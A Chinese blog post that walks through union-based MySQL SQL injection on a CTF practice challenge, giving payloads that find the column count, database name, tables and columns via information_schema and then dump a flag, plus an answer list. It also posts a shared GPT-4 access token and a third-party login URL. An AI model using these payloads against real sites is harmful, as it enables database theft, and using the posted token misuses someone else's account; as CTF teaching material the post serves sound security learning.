首页 > 数据库 >SQL注入

SQL注入

时间:2023-12-27 13:11:06浏览次数:34  
标签:information database 数据库 --+ SQL 注入 id schema

需知
MYSQL5.0 以上版本:自带的数据库名 information_schema
information_schema:存储数据库下的数据库名及表名,列名信息的数据库
information_schema.tables:记录表名信息的表
information_schema.columns:记录列名信息表

数据库版本 information_schema 查询-version()
数据库用户 ROOT 型注入攻击-user()
当前操作系统-看是否支持大小写或文件路径选择-@@version_compile_os
数据库名字-为后期猜解指定数据库下的表,列做准备-database()

SQL注入
先找注入点,看一url发现了id=1 有可控量 测试一下是字符型注入还是数字型注入

  1. 字符型注入
    id=1' order by 3 --+
    id=1' order by 4 --+

  2. 数字型注入
    id=1 order by 3
    id=1 order by 4
    测试类型
    如是字符型注入

    当3变成4时就会报错,同时这也证明字段数为三位

    如是数字类型不管怎么变换都不会报错

查数据库名
id=-1' union select 1,2,3 --+

可以看到屏幕上显示了2,3将database()与-version()替换掉。
id=-1' union select 1,database(),version() --+

从此可知MYSQL版本为5.0以上(可查询information_schema数据库名),数据库名叫note
查数据库表名
id=0' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+

此得2个表名可依次查看
fl4g表
id=0' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='fl4g'--+

notes表
id=0' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='notes'--+

从而可得到flag(等于爆破出了用户与密码)
id=-4' union select 1,database(), group_concat(fllllag) from fl4g --+

大概一个流程:
注入类型
字段数
数据库名
数据库表名
爆出用户与密码

大家可以到buuoj去练习这个SQL注入的题目
[第一章 web入门]SQL注入-11
答案:

  • id=1' order by 3 --+
  • id=1' order by 4 --+
  • id=-1' union select 1,database(),3 --+
  • id=0' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+
  • id=0' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='fl4g'--+
  • id=-4' union select 1,database(), group_concat(fllllag) from fl4g --+

注:以上全是个人见解如有错误请指出。在这里放个GPT4.0账户(不是gpt镜像)大家如果有什么不懂可以询问。访问网址https://chat1.zhile.io/auth/login将fk-igCXpSmZrZ3kcygOe_G1JuSmXFhlVbV-dgiUQg_AwaU粘贴到Access Token中即可询问。可以调用此模型,具有几百的次数。

标签:information,database,数据库,--+,SQL,注入,id,schema
From: https://www.cnblogs.com/yaoyuyao/p/17930307.html

相关文章

  • Mysql根据字段值的长度查找过滤,排序等
    Mysql根据字段值的长度查找过滤,排序等http://www.shanhubei.com/archives/5882.html1.Mysql根据字段的指定长度搜索过滤SELECT*FROMuserWHEREis_deleted=0ANDlength(name)>52.添加普通索引ALTERTABLE'table_name'ADDINDEXindex_name('column')3.在表中某一列......
  • PostgreSQL数据库中插入数据并跳过重复记录
    概述:ONCONFLICT是将新数据插入现有表时处理唯一性冲突的一种方式快速预览1.DOUPDATESET:重复则更新2.DONOTHING:重复则跳过先创建表t_daily_stats、并且主键字段由serial_no、date组成,以及其他字段--创建设备每日统计表CREATETABLEt_daily_stats(seri......
  • springboot项目Mapper注入失败:@org.springframework.beans.factory.annotation.Autowi
    同事发给我一个项目,说启动时,报mapper无法注入,让我帮忙排查一下问题记录一下我自己遇到这个问题的排查顺序首先先排除以下问题:1.mapper类是否加入到ioc容器中(有没有使用@Mapper标签),如果报错是service层,那就看看是不是没有添加server标签2.检查项目是否扫描mapper类所在......
  • SQL获取年月日方法
    SQL获取年月日方法 方法一:利用DATENAME在SQL数据库中,DATENAME(datetype,date)函数的作用是从日期中提取指定部分数据,其返回类型是nvarchar.datetype类型见附表1.SELECTDATENAME(year,GETDATE())+'-'+DATENAME(MONTH,GETDATE())+'-'+DATENAME(DAY,GETDATE())SELECTDA......
  • (04)Lazarus上连接并显示SQlLite3数据库
    01]去官网https://www.sqlite.org/download.html下载对应的SQlite3.dll32位Lazarus下载sqlite-dll-win-x86-3440200.zip64位Lazarus下载sqlite-dll-win-x64-3440200.zip  下载后,将SQlite3.dll放在工程目录下          ......
  • Windows 平台下如何安装与配置 MySQL 5.7.36
    Windows一般使用两种MySQL安装方式,即MySQL二进制分发版(.msi安装文件)和免安装版(.zip压缩文件)。一般来讲,应当使用二进制分发版,因为该版本比其他的分发版使用起来要简单,不再需要其他工具来启动就可以运行MySQL。本次实验是在Windows10平台上选用图形化的二进制安装方式,其他W......
  • 官答|初始化GreatSQL报错无法找到数据目录或初始化数据字典失败
    官答|初始化GreatSQL报错无法找到数据目录或初始化数据字典失败GreatSQL推出新栏目——官答官答栏目针对GreatSQL数据库中的问题,选取官方论坛和讨论群中的典型提问进行深入解答。内容涵盖数据库安装部署、配置优化、故障排查、性能测试等方面。在文章中,我们不仅提供解决方案,......
  • MYSQL 备份与恢复
    备份与恢复日志文件默认保存位置.../mysql/data  ...指安装的路径/usr/local/mysql/data永久修改日志文件vim/etc/my.cnf#配置文件[mysqld]#错误日志,用来记录dangmysql启动、停止或运行时发生的错误信息,默认开启log-error=/usr/local/mysql/data/mysql_error.log#指......
  • 虚拟机中安装mysql 完整教程( CentOS7 版本)
    一、检查是否安装了MysqlYum检查yumlistinstalled|grepmysql安装则直接删除yumremovemysql-community-client.x86_64yumremovemysqlmysql-servermysql-libscompat-mysqlyumremovemysql-community-releaserpm检查:rpm-qa|grep-imysql//有则直......
  • rust call sqlite3 error: linking with `link.exe` failed: exit code: 1181
    rustcallsqlite3error:linkingwithlink.exefailed:exitcode:1181声明:本文禁止csdn.net及所有所有子网站转载。禁止以营利性为目的的转载。报错error:linkingwith`link.exe`failed:exitcode:1181......